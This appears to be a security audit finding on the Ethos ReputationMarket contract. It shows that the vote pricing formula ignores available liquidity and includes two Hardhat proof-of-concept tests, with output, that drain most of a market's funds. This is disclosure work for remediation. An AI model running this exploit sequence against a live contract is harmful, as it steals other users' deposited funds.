Itchy Ginger Loris
High
Unlike constant formula AMMs, the Ethos pricing formula is designed to maintain a constant base price, not reserves/liquidity. That leads to the possibility of stealing market liquidity by manipulating the supply of votes. By creating an imbalanced position of trusted and distrusted votes, an attacker can craft a state where they can gain more from selling than was spent on them.
That leads to stolen market liquidity and, as a result, the inability of other vote holders to sell their votes.
Additionally, that breaks the following README's statement:
Reputation Markets must never sell the initial votes. They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market.
As can be seen from the code snippet below, this formula ensures that at any point of time, prices of trusted votes and distrusted votes sum up to basePrice
:
File: /ethos/packages/contracts/contracts/ReputationMarket.sol#L920
function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
}
However, this formula doesn't account for market liquidity (which is tracked via the marketFunds[profileId]
variable), making it susceptible to manipulations.
Given the market created with 2 votes and 1 ETH basePrice:
-
User buys 1 distrust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH
-
User buys 1st trust vote , price = 1.0 ETH * 1 / 3 = 0.333 ETH
-
User buys 2nd trust vote , price = 1.0 ETH * 2 / 4 = 0.5 ETH Total spent: 1.333 ETH
-
User sells distrust vote, price = 1.0 ETH * 1 / 4 = 0.25 ETH
-
User sells 1st trust vote, price = 1.0 ETH * 2 / 3 = 0.66 ETH
-
User sells 2nd trust vote, price = 1.0 ETH * 1 / 2 = 0.5 ETH Total received: 1.416 ETH
User gains (and thus the market loses): 0.083 ETH
This PoC follows the same example as mentioned in the section above.
Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135:
it("market_drained_poc1", async () => {
const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address);
console.log(`UserA balance (initial) : ${ethers.formatEther(userBalanceBefore)}`);
console.log(`market liquidity (initial) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
// buy 1 distrust
await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("1"), isPositive: false });
let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
// buy trust
await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true });
await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: ethers.parseEther("0.6"), isPositive: true });
votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
// sell distrust
await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false });
votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
// sell trust
await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true });
await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(1) /*votesOwned.trustVotes*/, isPositive: true });
votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
const userBalanceAfterSell2 = await ethers.provider.getBalance(userA.signer.address);
console.log(`UserA balance: ${ethers.formatEther(userBalanceAfterSell2)}; gain : ${ethers.formatEther(userBalanceAfterSell2 - userBalanceBefore)}`)
console.log(`market liquidity : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
});
Result:
$ npx hardhat test --grep "market_drained_poc1"
ReputationMarket Base Price Tests
Very high price limits
UserA balance (initial) : 2000.0
market liquidity (initial) : 1.0
UserA balance: 2000.08245115269279307; gain : 0.08245115269279307
market liquidity : 0.916666666666666667
✔ market_drained_poc1 (62ms)
1 passing (2s)
This PoC demonstrates how 99% of market liquidity can be stolen.
Insert new test into "Very high price limits" section of the file https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.price.test.ts#L135:
it("market_drained_poc2", async () => {
const amounToSpend_N = ethers.parseEther('100');
const amounToSpend_P = ethers.parseEther('220');
console.log(`market liquidity (initial) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
const userBalanceBefore = await ethers.provider.getBalance(userA.signer.address);
console.log(`UserA balance (initial) : ${ethers.formatEther(userBalanceBefore)}`);
// buy negative shares
await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_N, isPositive: false });
// buy positive shares
await userA.buyVotes({ profileId: DEFAULT.profileId, buyAmount: amounToSpend_P, isPositive: true });
const userBalanceAfterBuy = await ethers.provider.getBalance(userA.signer.address);
console.log(`UserA balance after purchases: ${ethers.formatEther(userBalanceAfterBuy)}`);
let votesOwned = await reputationMarket.getUserVotes(userA.signer.address, DEFAULT.profileId);
// sell negative shares
await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: votesOwned.distrustVotes, isPositive: false });
const marketLiq = await reputationMarket.marketFunds(DEFAULT.profileId);
console.log(`market liquidity (neg sold) : ${ethers.formatEther(marketLiq)}`);
// finding out how many positive votes we can sell without reverting due to arithmetic underflow
let maxSell = Number(votesOwned.trustVotes);
let minSell = 0;
let sell = 0;
while (minSell <= maxSell) { // binary search
sell = minSell + Math.trunc((maxSell - minSell) / 2);
let res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, sell);
if (res.fundsReceived > marketLiq) {
maxSell = sell - 1;
} else {
minSell = sell + 1;
res = await reputationMarket.connect(userA.signer).simulateSell(DEFAULT.profileId, true, minSell);
if (res.fundsReceived >= marketLiq) break;
}
}
console.log(`max sell votes count: ${sell}`);
await userA.sellVotes({ profileId: DEFAULT.profileId, sellVotes: BigInt(sell), isPositive: true });
console.log(`market liquidity (pos sold) : ${ethers.formatEther(await reputationMarket.marketFunds(DEFAULT.profileId))}`);
const userBalanceFinal = await ethers.provider.getBalance(userA.signer.address);
console.log(`UserA balance (final)) : ${ethers.formatEther(userBalanceFinal)}`);
console.log(`UserA profit : ${ethers.formatEther(userBalanceFinal - userBalanceBefore)}`);
});
Result:
$ npx hardhat test --grep "market_drained_poc2"
ReputationMarket Base Price Tests
Very high price limits
market liquidity (initial) : 1.0
UserA balance (initial) : 2000.0
UserA balance after purchases: 1680.513571558216838385
market liquidity (neg sold) : 308.332301763408691446
max sell votes count: 310
market liquidity (pos sold) : 0.006707300639778622
UserA balance (final)) : 2000.991118144525447625
UserA profit : 0.991118144525447625
✔ market_drained_poc2 (389ms)
1 passing (2s)
- Market funds drained
- Other vote holders cannot sell.
Reconsider the formula, it must account for the available liquidity and should not allow it to be drained. Constant basePrice
must not play important role in the new formula.